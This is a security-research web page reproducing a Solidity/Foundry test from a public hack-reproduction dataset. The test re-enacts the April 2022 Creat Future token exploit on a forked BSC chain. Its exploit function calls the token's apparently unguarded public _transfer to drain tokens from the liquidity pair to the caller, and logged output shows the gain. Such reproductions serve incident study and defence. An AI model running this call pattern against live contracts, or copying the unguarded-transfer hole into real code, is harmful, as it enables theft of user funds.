Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/cftoken_exp.sol

Public reproduction file for dataset entry Creat Future.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/cftoken_exp.sol45 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// source
8// https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ
9// attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
10// test result
12// > forge test --contracts ./src/cftoken_exp.sol -vv
13// [⠘] Compiling...
14// No files changed, compilation skipped
16// Running 2 tests for test/Counter.t.sol:CounterTest
17// [PASS] testIncrement() (gas: 28334)
18// [PASS] testSetNumber(uint256) (runs: 256, μ: 27476, ~: 28409)
19// Test result: ok. 2 passed; 0 failed; finished in 16.14ms
21// Running 1 test for src/cftoken_exp.sol:ContractTest
22// [PASS] testExploit() (gas: 86577)
23// Logs:
24// Before exploit, cftoken balance:: 0
25// After exploit, cftoken balance:: 930000000000000000000
27// Test result: ok. 1 passed; 0 failed; finished in 9.72s%
29contract ContractTest is Test {
30 address private cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
31 address private cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 function setUp() public {
35 cheats.createSelectFork("bsc", 16_841_980); //fork bsc at block 16841980
36 }
38 function testExploit() public {
39 emit log_named_uint("Before exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
41 ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);
43 emit log_named_uint("After exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
44 }

Analysis

Dataset entry

Public Foundry test for “Creat Future” (2022-04-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Tx

    0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0

File record

Name
Creat Future
Path
src/test/2022-04/cftoken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4420270ccc2d22b2b8a6754a1342a49e390125f2
Language
Solidity
Size
46 lines
Date
2022-04-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/cftoken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4420270ccc2d22b2b8a6754a1342a49e390125f2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.